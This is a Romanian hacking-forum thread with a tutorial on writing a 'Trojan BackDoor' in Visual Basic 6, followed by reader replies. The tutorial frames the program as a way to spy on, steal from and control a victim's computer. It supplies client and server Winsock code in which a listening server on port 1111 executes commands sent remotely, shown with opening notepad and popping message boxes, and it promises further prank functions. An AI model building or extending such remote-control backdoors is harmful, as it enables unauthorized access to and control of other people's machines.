Jump to content
Nytro

[ Tutorial ] Crearea unui Trojan BackDoor in VB6 by Nytro

Recommended Posts

Posted

Crearea unui Trojan BackDoor in Visual Basic 6

© Nytro 2008

www.mortal-team.com

Sa incepem .

Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul .

Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox .

Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date .

Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client .

Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock .

Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ?

Private Sub Form_Load()

On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului .

Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port )

Winsock1.Listen ' Setam serverul sa astepte date de la client

End Sub

Serverul va trebui rulat . Apoi in client , ne conectam la server :

Private Sub Command1_Click()

On Error Resume Next ' La fel

Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista

Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 .

Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server

Winsock1.Connect ' Conectam clientul la server

End Sub

In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita .

Private Sub Winsock1_Connect()

Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox .

End Sub

In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare :

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

Form1.Caption = "Eroare la conectare"

End Sub

Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea .

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista

Winsock1.Accept requestID ' Acceptam conexiunea de la client

End Sub

Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei .

Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul .

Private Sub Command2_Click()

On Error Resume Next

Winsock1.SendData "notepad" ' Trimitem stringul "notepad"

End sub

La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele .

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim date_primite As String ' Declaram variabila date_primite de tipul string

Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite .

If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad .

Shell "notepad.exe" ' Deschidem notepad .

End If ' Inchidem instructiunea If

End Sub

Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu .

Mai puneti pe Form un buton si un TextBox .

Private sub Command3_click()

On Error Resume Next

Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text .

End Sub

In server vom procesa datele primite :

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim date_primite As String

Dim Vector() As String ' Declaram vectorul Vector() de tip string .

Winsock1.GetData date_primite

Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) .

If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj"

MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client.

End If

End Sub

Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt :

0 - sckClosed - Conexiunea e inchisa

1 - sckOpen - Conexiunea e deschisa

2 - sckListening - Conexiunea e in asteptare

3 - sckConnectionPending - Conexiune in desfasurare

4 - sckResolvingHost - In curs de rezolvare

5 - sckResolved - Sistem gazda rezolvat

6 - sckConnecting - Se conecteaza

7 - sckConnected - Conectat

8 - sckClosing - Se inchide conexiunea

9 - sckError - Eroare

Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server .

Private Sub Command2_Click()

If Winsock1.State <> 7 ' State-ul este 7 daca este conectat

MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" .

Else: Winsock1.SendData "notepad"

End If

End Sub

Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori .

Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc .

Sper ca ati inteles .

Credit : Nytro

www.mortal-team.com

Posted

Tare tutorialul dar ma gandeam dak faci shi pt alea cu open Cd-rom shi alte chestii sa faci doua parti c pui la client pt comanda shi c pui la server pt comanda sa intelegem mai ushor shio ink odata bv pt tut!!!

Posted

Ms . Pai cred ca voi mai face decat o parte , initial ma gandisem la 3 . Am explicat intr-o topica Swap mouse , crazy mouse ... Dar le mai explic o data in partea a doua :)

Posted

sunt cam noob cand vine vorba de visual basic si nu am inteles unde trebuie scris

Private Sub Command1_Click()

On Error Resume Next

Winsock1.Close

Winsock1.RemoteHost = Text1.Text

Winsock1.RemotePort = 1111

Winsock1.Connect

End Sub

la servar sau la client

Posted

Cred ca ai gresit undeva si anume aici " >> Swap Mouse Buttons - adica sa inversam butoanele mouseului .

Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam .

" Putem sa dam aceasi valoare pentru doua lucruri total diferite ?

sau vroiai sa spui 0 & 1 ..? sau invers ?

Posted

Ceea ce am vrut sa spun acum 3 ani cand am scris articolul, era ca trebuie sa apelam acea functie cu valoarea parametrului 0 pentru ca butoanele mouse-ului sa nu fie inversate si 1 ca sa fie inversate.

SwapMouseButton Function (Windows)

Parametrul este de tip BOOL, adica trebuie sa fie true (1) sau false (0), dar in VB6, True == -1, deci poti avea probleme. Cel mai simplu e sa folosesti 0 sau 1.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...